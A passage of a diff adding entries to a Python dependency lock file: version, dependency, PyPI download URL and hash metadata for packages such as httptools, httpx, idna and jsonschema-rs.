+    { url = "https://files.pythonhosted.org/packages/aa/06/c9c1b41ff52f16aee526fd10fbda99fa4787938aa776858ddc4a1ea825ec/httptools-0.7.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3c3b7366bb6c7b96bd72d0dbe7f7d5eead261361f013be5f6d9590465ea1c70", size = 110375, upload-time = "2025-10-10T03:54:31.941Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/cc/10935db22fda0ee34c76f047590ca0a8bd9de531406a3ccb10a90e12ea21/httptools-0.7.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:379b479408b8747f47f3b253326183d7c009a3936518cdb70db58cffd369d9df", size = 456621, upload-time = "2025-10-10T03:54:33.176Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/84/875382b10d271b0c11aa5d414b44f92f8dd53e9b658aec338a79164fa548/httptools-0.7.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cad6b591a682dcc6cf1397c3900527f9affef1e55a06c4547264796bbd17cf5e", size = 454954, upload-time = "2025-10-10T03:54:34.226Z" },
+    { url = "https://files.pythonhosted.org/packages/30/e1/44f89b280f7e46c0b1b2ccee5737d46b3bb13136383958f20b580a821ca0/httptools-0.7.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:eb844698d11433d2139bbeeb56499102143beb582bd6c194e3ba69c22f25c274", size = 440175, upload-time = "2025-10-10T03:54:35.942Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/7e/b9287763159e700e335028bc1824359dc736fa9b829dacedace91a39b37e/httptools-0.7.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f65744d7a8bdb4bda5e1fa23e4ba16832860606fcc09d674d56e425e991539ec", size = 440310, upload-time = "2025-10-10T03:54:37.1Z" },
+    { url = "https://files.pythonhosted.org/packages/53/7f/403e5d787dc4942316e515e949b0c8a013d84078a915910e9f391ba9b3ed/httptools-0.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:38e0c83a2ea9746ebbd643bdfb521b9aa4a91703e2cd705c20443405d2fd16a5", size = 206280, upload-time = "2025-10-10T03:54:39.274Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/0d/7f3fd28e2ce311ccc998c388dd1c53b18120fda3b70ebb022b135dc9839b/httptools-0.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f25bbaf1235e27704f1a7b86cd3304eabc04f569c828101d94a0e605ef7205a5", size = 110004, upload-time = "2025-10-10T03:54:40.403Z" },
+    { url = "https://files.pythonhosted.org/packages/84/a6/b3965e1e146ef5762870bbe76117876ceba51a201e18cc31f5703e454596/httptools-0.7.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c15f37ef679ab9ecc06bfc4e6e8628c32a8e4b305459de7cf6785acd57e4d03", size = 517655, upload-time = "2025-10-10T03:54:41.347Z" },
+    { url = "https://files.pythonhosted.org/packages/11/7d/71fee6f1844e6fa378f2eddde6c3e41ce3a1fb4b2d81118dd544e3441ec0/httptools-0.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fe6e96090df46b36ccfaf746f03034e5ab723162bc51b0a4cf58305324036f2", size = 511440, upload-time = "2025-10-10T03:54:42.452Z" },
+    { url = "https://files.pythonhosted.org/packages/22/a5/079d216712a4f3ffa24af4a0381b108aa9c45b7a5cc6eb141f81726b1823/httptools-0.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f72fdbae2dbc6e68b8239defb48e6a5937b12218e6ffc2c7846cc37befa84362", size = 495186, upload-time = "2025-10-10T03:54:43.937Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/9e/025ad7b65278745dee3bd0ebf9314934c4592560878308a6121f7f812084/httptools-0.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e99c7b90a29fd82fea9ef57943d501a16f3404d7b9ee81799d41639bdaae412c", size = 499192, upload-time = "2025-10-10T03:54:45.003Z" },
+    { url = "https://files.pythonhosted.org/packages/09/8f/c77b1fcbfd262d422f12da02feb0d218fa228d52485b77b953832105bb90/httptools-0.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6babce6cfa2a99545c60bfef8bee0cc0545413cb0018f617c8059a30ad985de3", size = 202889, upload-time = "2025-10-10T03:54:47.089Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/1a/22887f53602feaa066354867bc49a68fc295c2293433177ee90870a7d517/httptools-0.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:601b7628de7504077dd3dcb3791c6b8694bbd967148a6d1f01806509254fb1ca", size = 108180, upload-time = "2025-10-10T03:54:48.052Z" },
+    { url = "https://files.pythonhosted.org/packages/32/6a/6aaa91937f0010d288d3d124ca2946d48d60c3a5ee7ca62afe870e3ea011/httptools-0.7.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:04c6c0e6c5fb0739c5b8a9eb046d298650a0ff38cf42537fc372b28dc7e4472c", size = 478596, upload-time = "2025-10-10T03:54:48.919Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/70/023d7ce117993107be88d2cbca566a7c1323ccbaf0af7eabf2064fe356f6/httptools-0.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69d4f9705c405ae3ee83d6a12283dc9feba8cc6aaec671b412917e644ab4fa66", size = 473268, upload-time = "2025-10-10T03:54:49.993Z" },
+    { url = "https://files.pythonhosted.org/packages/32/4d/9dd616c38da088e3f436e9a616e1d0cc66544b8cdac405cc4e81c8679fc7/httptools-0.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:44c8f4347d4b31269c8a9205d8a5ee2df5322b09bbbd30f8f862185bb6b05346", size = 455517, upload-time = "2025-10-10T03:54:51.066Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/3a/a6c595c310b7df958e739aae88724e24f9246a514d909547778d776799be/httptools-0.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:465275d76db4d554918aba40bf1cbebe324670f3dfc979eaffaa5d108e2ed650", size = 458337, upload-time = "2025-10-10T03:54:52.196Z" },
+    { url = "https://files.pythonhosted.org/packages/34/50/9d095fcbb6de2d523e027a2f304d4551855c2f46e0b82befd718b8b20056/httptools-0.7.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:c08fe65728b8d70b6923ce31e3956f859d5e1e8548e6f22ec520a962c6757270", size = 203619, upload-time = "2025-10-10T03:54:54.321Z" },
+    { url = "https://files.pythonhosted.org/packages/07/f0/89720dc5139ae54b03f861b5e2c55a37dba9a5da7d51e1e824a1f343627f/httptools-0.7.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:7aea2e3c3953521c3c51106ee11487a910d45586e351202474d45472db7d72d3", size = 108714, upload-time = "2025-10-10T03:54:55.163Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/cb/eea88506f191fb552c11787c23f9a405f4c7b0c5799bf73f2249cd4f5228/httptools-0.7.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0e68b8582f4ea9166be62926077a3334064d422cf08ab87d8b74664f8e9058e1", size = 472909, upload-time = "2025-10-10T03:54:56.056Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/4a/a548bdfae6369c0d078bab5769f7b66f17f1bfaa6fa28f81d6be6959066b/httptools-0.7.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df091cf961a3be783d6aebae963cc9b71e00d57fa6f149025075217bc6a55a7b", size = 470831, upload-time = "2025-10-10T03:54:57.219Z" },
+    { url = "https://files.pythonhosted.org/packages/4d/31/14df99e1c43bd132eec921c2e7e11cda7852f65619bc0fc5bdc2d0cb126c/httptools-0.7.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f084813239e1eb403ddacd06a30de3d3e09a9b76e7894dcda2b22f8a726e9c60", size = 452631, upload-time = "2025-10-10T03:54:58.219Z" },
+    { url = "https://files.pythonhosted.org/packages/22/d2/b7e131f7be8d854d48cb6d048113c30f9a46dca0c9a8b08fcb3fcd588cdc/httptools-0.7.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7347714368fb2b335e9063bc2b96f2f87a9ceffcd9758ac295f8bbcd3ffbc0ca", size = 452910, upload-time = "2025-10-10T03:54:59.366Z" },
+]
+
+[[package]]
+name = "httpx"
+version = "0.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio" },
+    { name = "certifi" },
+    { name = "httpcore" },
+    { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+]
+
+[[package]]
+name = "httpx2"
+version = "2.5.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio" },
+    { name = "httpcore2" },
+    { name = "idna" },
+    { name = "truststore" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d0/e2/b5dedc0cf35aa65de5f541ccd30d2bc1fd7f1d43c9ab09f8ed9a7342317b/httpx2-2.5.0.tar.gz", hash = "sha256:e2df9cb4611021527ff8a675b1c320b610a2ec397acc8d6fe6e91df2d9b33c29", size = 83121, upload-time = "2026-06-25T14:16:57.491Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/31/22/859d8252dad9bc9adee34b52e62cde621ece07b042ccb2ab4da1be46695f/httpx2-2.5.0-py3-none-any.whl", hash = "sha256:3d2d4d9cf4b61f1a1f46a95947cfdb47e80cb56a2f91c6256ac8f58e4891df41", size = 76652, upload-time = "2026-06-25T14:16:55.23Z" },
+]
+
+[[package]]
+name = "hyperlink"
+version = "21.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/3a/51/1947bd81d75af87e3bb9e34593a4cf118115a8feb451ce7a69044ef1412e/hyperlink-21.0.0.tar.gz", hash = "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", size = 140743, upload-time = "2021-01-08T05:51:20.972Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/6e/aa/8caf6a0a3e62863cbb9dab27135660acba46903b703e224f14f447e57934/hyperlink-21.0.0-py2.py3-none-any.whl", hash = "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4", size = 74638, upload-time = "2021-01-08T05:51:22.906Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.18"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
+]
+
+[[package]]
+name = "importlib-metadata"
+version = "8.7.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "zipp" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f3/49/3b30cad09e7771a4982d9975a8cbf64f00d4a1ececb53297f1d9a7be1b10/importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb", size = 57107, upload-time = "2025-12-21T10:00:19.278Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fa/5e/f8e9a1d23b9c20a551a8a02ea3637b4642e22c2626e3a13a9a29cdea99eb/importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151", size = 27865, upload-time = "2025-12-21T10:00:18.329Z" },
+]
+
+[[package]]
+name = "iniconfig"
+version = "2.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" },
+]
+
+[[package]]
+name = "jaraco-classes"
+version = "3.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "more-itertools" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/c0/ed4a27bc5571b99e3cff68f8a9fa5b56ff7df1c2251cc715a652ddd26402/jaraco.classes-3.4.0.tar.gz", hash = "sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd", size = 11780, upload-time = "2024-03-31T07:27:36.643Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7f/66/b15ce62552d84bbfcec9a4873ab79d993a1dd4edb922cbfccae192bd5b5f/jaraco.classes-3.4.0-py3-none-any.whl", hash = "sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790", size = 6777, upload-time = "2024-03-31T07:27:34.792Z" },
+]
+
+[[package]]
+name = "jaraco-context"
+version = "6.1.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "backports-tarfile", marker = "python_full_version < '3.12'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/af/50/4763cd07e722bb6285316d390a164bc7e479db9d90daa769f22578f698b4/jaraco_context-6.1.2.tar.gz", hash = "sha256:f1a6c9d391e661cc5b8d39861ff077a7dc24dc23833ccee564b234b81c82dfe3", size = 16801, upload-time = "2026-03-20T22:13:33.922Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f2/58/bc8954bda5fcda97bd7c19be11b85f91973d67a706ed4a3aec33e7de22db/jaraco_context-6.1.2-py3-none-any.whl", hash = "sha256:bf8150b79a2d5d91ae48629d8b427a8f7ba0e1097dd6202a9059f29a36379535", size = 7871, upload-time = "2026-03-20T22:13:32.808Z" },
+]
+
+[[package]]
+name = "jaraco-functools"
+version = "4.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "more-itertools" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/0f/27/056e0638a86749374d6f57d0b0db39f29509cce9313cf91bdc0ac4d91084/jaraco_functools-4.4.0.tar.gz", hash = "sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb", size = 19943, upload-time = "2025-12-21T09:29:43.6Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fd/c4/813bb09f0985cb21e959f21f2464169eca882656849adf727ac7bb7e1767/jaraco_functools-4.4.0-py3-none-any.whl", hash = "sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176", size = 10481, upload-time = "2025-12-21T09:29:42.27Z" },
+]
+
+[[package]]
+name = "jeepney"
+version = "0.9.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7b/6f/357efd7602486741aa73ffc0617fb310a29b588ed0fd69c2399acbb85b0c/jeepney-0.9.0.tar.gz", hash = "sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732", size = 106758, upload-time = "2025-02-27T18:51:01.684Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b2/a3/e137168c9c44d18eff0376253da9f1e9234d0239e0ee230d2fee6cea8e55/jeepney-0.9.0-py3-none-any.whl", hash = "sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683", size = 49010, upload-time = "2025-02-27T18:51:00.104Z" },
+]
+
+[[package]]
+name = "jsonpatch"
+version = "1.33"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jsonpointer", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" },
+]
+
+[[package]]
+name = "jsonpointer"
+version = "3.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/18/c7/af399a2e7a67fd18d63c40c5e62d3af4e67b836a2107468b6a5ea24c4304/jsonpointer-3.1.1.tar.gz", hash = "sha256:0b801c7db33a904024f6004d526dcc53bbb8a4a0f4e32bfd10beadf60adf1900", size = 9068, upload-time = "2026-03-23T22:32:32.458Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9e/6a/a83720e953b1682d2d109d3c2dbb0bc9bf28cc1cbc205be4ef4be5da709d/jsonpointer-3.1.1-py3-none-any.whl", hash = "sha256:8ff8b95779d071ba472cf5bc913028df06031797532f08a7d5b602d8b2a488ca", size = 7659, upload-time = "2026-03-23T22:32:31.568Z" },
+]
+
+[[package]]
+name = "jsonschema-rs"
+version = "0.44.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/68/88/f0cc7013ad6a3d0b86275a6d0a3112eaa705545c89134ab2a057865c054c/jsonschema_rs-0.44.1.tar.gz", hash = "sha256:49ca909cc3017990a732145b9a7c2f1a0727b2f95dba4190c05a514575b5f4bf", size = 1975289, upload-time = "2026-03-03T19:08:21.892Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/47/59/57efa11b8a7069687c7d741849a75092cbb4a6bdce30d52a2832a168c3c5/jsonschema_rs-0.44.1-cp310-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:6f8be6467ee403e126e4e0abb68f13cfbf7199db54d5a4c0f2a1b00e1304f2e3", size = 7365683, upload-time = "2026-03-03T19:07:34.512Z" },
+    { url = "https://files.pythonhosted.org/packages/02/39/b1ec92bd383d9e8e0cd70f019f0c047313e4980a3f7e653cfb3270a84310/jsonschema_rs-0.44.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:95434b4858da6feb4b3769c955b78204dbc90988941e9e848596ab93c6005d00", size = 3828559, upload-time = "2026-03-03T19:07:36.965Z" },
+    { url = "https://files.pythonhosted.org/packages/39/97/0b581ce2ca6b6ca3f29cea189609c893aa3c033356a7cb6950cb7559bdc0/jsonschema_rs-0.44.1-cp310-abi3-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0329af23e7674d88c3117b55c89a0c36e06ee359e696be16796a29c8b1c33e85", size = 3572164, upload-time = "2026-03-03T19:07:38.651Z" },
+    { url = "https://files.pythonhosted.org/packages/35/a9/6d750088795947a5366cdfa6b9064680a3b0a86f61806521beb35d88c8fb/jsonschema_rs-0.44.1-cp310-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8078c834c3cea6303796fc4925bb8646d1f68313bd54f6d3dde08c8b8eb74bc1", size = 3926333, upload-time = "2026-03-03T19:07:40.369Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/19/6475da01b4e81c0445698290a7b8f237e678a0dc9fbf55df663243597b70/jsonschema_rs-0.44.1-cp310-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:502af60c802cf149185ea01edbd31a143b09aaf06b27b6422f8b8893984b1998", size = 3589764, upload-time = "2026-03-03T19:07:42.113Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/43/dd8d1a8dcd3dd44e7242944433d86433540ed71a5906d0d75b5dd4fb3352/jsonschema_rs-0.44.1-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:6f2760c4791ecc3c7e6196cec7e7dbf191205e36dd050119cfab421e108e8508", size = 3782136, upload-time = "2026-03-03T19:07:44.505Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/0f/8ada7636eb2119482fecc6289c3115b27cb045384896e45b8bd0fec98d5b/jsonschema_rs-0.44.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:16d663e6c4838e4d594bd9d10c5939a6737c171d9c8600659fe6612098863d3d", size = 4151840, upload-time = "2026-03-03T19:07:46.754Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/7e/f163531f203fa4e11871a40a04dc280a94a2b88c2eaa32db7c71cb64b5b4/jsonschema_rs-0.44.1-cp310-abi3-win32.whl", hash = "sha256:cbec5ef1a0cc327cbc829f44a9c76778881003ada99c871a14438c7e8b264e76", size = 3197538, upload-time = "2026-03-03T19:07:48.12Z" },
+    { url = "https://files.pythonhosted.org/packages/73/4b/c080db0f50b7a320c80991f3cc9069d865f6a8baadd2952fda7473cf3816/jsonschema_rs-0.44.1-cp310-abi3-win_amd64.whl", hash = "sha256:cee075749f0479599586b4f591940418e45eae65485ed29e84763a28ec9dd40c", size = 3748176, upload-time = "2026-03-03T19:07:49.698Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/9f/2f602bf9d3958866f03732abefc51f8bc6caa0f8ea913b8f0ac01923e886/jsonschema_rs-0.44.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:99c0c3e4a786d1e9c25dbd58cc9781f3c3d25c9fbd76310a350de55315f05948", size = 3817433, upload-time = "2026-03-03T19:07:51.161Z" },
+    { url = "https://files.pythonhosted.org/packages/42/cf/d899a52ca5fd7846614e15a230845d19070eec865b0791108b14341ef39e/jsonschema_rs-0.44.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:516bfb8926de7d396e4bc9a1c5085870de0035e8e2324014251d091a55a03623", size = 3570909, upload-time = "2026-03-03T19:07:53.117Z" },
+    { url = "https://files.pythonhosted.org/packages/53/bb/cc3fda5594cdc3626e479f868f28b5a1d9091296e764ca041d2580d0a292/jsonschema_rs-0.44.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:225074845f6a67e8e3ac18311f87a0ab925ae5adf16466be61c7d1df01eca20a", size = 3920084, upload-time = "2026-03-03T19:07:54.827Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/75/49e09ce6b72f8d25813842d9184678d6be92f0a3e90f0276a995c5712986/jsonschema_rs-0.44.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:782d01412e77c83bb376d31aac8afbd06b97e3594f09d1e0304ad22c2382077b", size = 3584852, upload-time = "2026-03-03T19:07:56.508Z" },
+    { url = "https://files.pythonhosted.org/packages/51/67/4e52d1ab98c8656a66ca1b0422af18da5a5525d6aa23c57be455bdcc6515/jsonschema_rs-0.44.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2afe720dfa1f93235b78e812937039537b63bf4eab6ca3c9ecb7fd7ba08a865d", size = 3776400, upload-time = "2026-03-03T19:07:58.392Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/44/5cd424c80df74ad159aceaf59071f26a7b7decf925a952c8929c2e097375/jsonschema_rs-0.44.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:548a1f466ce5b904c9cc52eee8f887c3838377ed95f4525d0ee5896a321e89d5", size = 4144701, upload-time = "2026-03-03T19:08:00.476Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/4f/4f8c9a423b2f539b22f0fc314063b724da82df3116a57149c2d730943150/jsonschema_rs-0.44.1-cp313-cp313t-win_amd64.whl", hash = "sha256:8a758e422c4ec265e64f2232409ddc5976b28e94e84a8e5565a2bce169ab72e9", size = 3739509, upload-time = "2026-03-03T19:08:01.97Z" },
+    { url = "https://files.pythonhosted.org/packages/76/85/759020a30874df8053c2abf91ed8abe8f27e69e683ed1d94ac2bbf92e7a8/jsonschema_rs-0.44.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:ca8ddd724b73678f5f3d3d8f948ae40fa817ad9edd5ce4e732ae26cb0f9dd300", size = 3816826, upload-time = "2026-03-03T19:08:03.411Z" },
+    { url = "https://files.pythonhosted.org/packages/45/77/47720717c3008483ff54365f65dbfb264d6dd3b3e7a2367d7f4f0a0a76e4/jsonschema_rs-0.44.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1ff6c9868c8f2834952efa0555fd82d0ab19664ba6b17f481330c64f7af7177d", size = 3569065, upload-time = "2026-03-03T19:08:05.305Z" },
+    { url = "https://files.pythonhosted.org/packages/06/88/734eb132228c09b2e0a442da6686efe8bd0c8f0095b13d52b46dcacea735/jsonschema_rs-0.44.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ec883313f3782f1c0ffc58ceda55136e26967198523b9cd111af782e273659a3", size = 3918339, upload-time = "2026-03-03T19:08:07.004Z" },
+    { url = "https://files.pythonhosted.org/packages/01/9c/6c4ca6c6bc906e4d74425d48c7fd49e558ec4ec98fb792d549c3ed95a632/jsonschema_rs-0.44.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:f971acf2910e64f0960080db6b6c73df483318d9db992273885f596cc3a9a5d9", size = 3583541, upload-time = "2026-03-03T19:08:08.683Z" },
+    { url = "https://files.pythonhosted.org/packages/14/13/f907c17fc0de4d653cac237846303a164ae58d26656d4161ad4c13d5267a/jsonschema_rs-0.44.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:50f5c28fd54236e43f392041f06132b0e9f09dd261cb00236045078d98e3cf84", size = 3774990, upload-time = "2026-03-03T19:08:10.278Z" },
+    { url = "https://files.pythonhosted.org/packages/83/1c/141b5b43db5aeac7d54cf3022cfa6a2941fe4d550afacfcf7bbcd49e66fa/jsonschema_rs-0.44.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:dbc59d68f38a377117b84b8109af269813a39b4b961e803876767e4fab6bac98", size = 4143282, upload-time = "2026-03-03T19:08:12.229Z" },
+    { url = "https://files.pythonhosted.org/packages/79/8a/6d4d55583e97d37ca7ac5595d978a83ecfbf8c113ebe31496f7330c72a49/jsonschema_rs-0.44.1-cp314-cp314t-win_amd64.whl", hash = "sha256:049203fd4876f2ec96191c0f8befabf33289988c57e4f191b5fd5974de1fb07f", size = 3738147, upload-time = "2026-03-03T19:08:13.58Z" },
+    { url = "https://files.pythonhosted.org/packages/18/af/b623ab4c5727bf6295a143077440ac3598541b226be7cf68c58022598731/jsonschema_rs-0.44.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:51886a0e09161c0f5675ca2834bcd76c086034891c1e0a9a09b2ee2fd7c60bd0", size = 3826241, upload-time = "2026-03-03T19:08:15.013Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/ae/8b5731d9e96cda4a3e46d481921ebfd24809a9451bccc31d7c2a2f80061a/jsonschema_rs-0.44.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46b629a0713397b3375e2926cf3d3f9ad511681d65f7676caee8223f3b62a427", size = 3924348, upload-time = "2026-03-03T19:08:16.454Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/44/b12f693f90613402fd60d9a560aaebb65f63de09197582caa8e90532fcca/jsonschema_rs-0.44.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c338c2bf3c5a4e17fccbf504aaf8a00bd1c711f992835df19de2fe55e5cf8b53", size = 3587696, upload-time = "2026-03-03T19:08:18.485Z" },
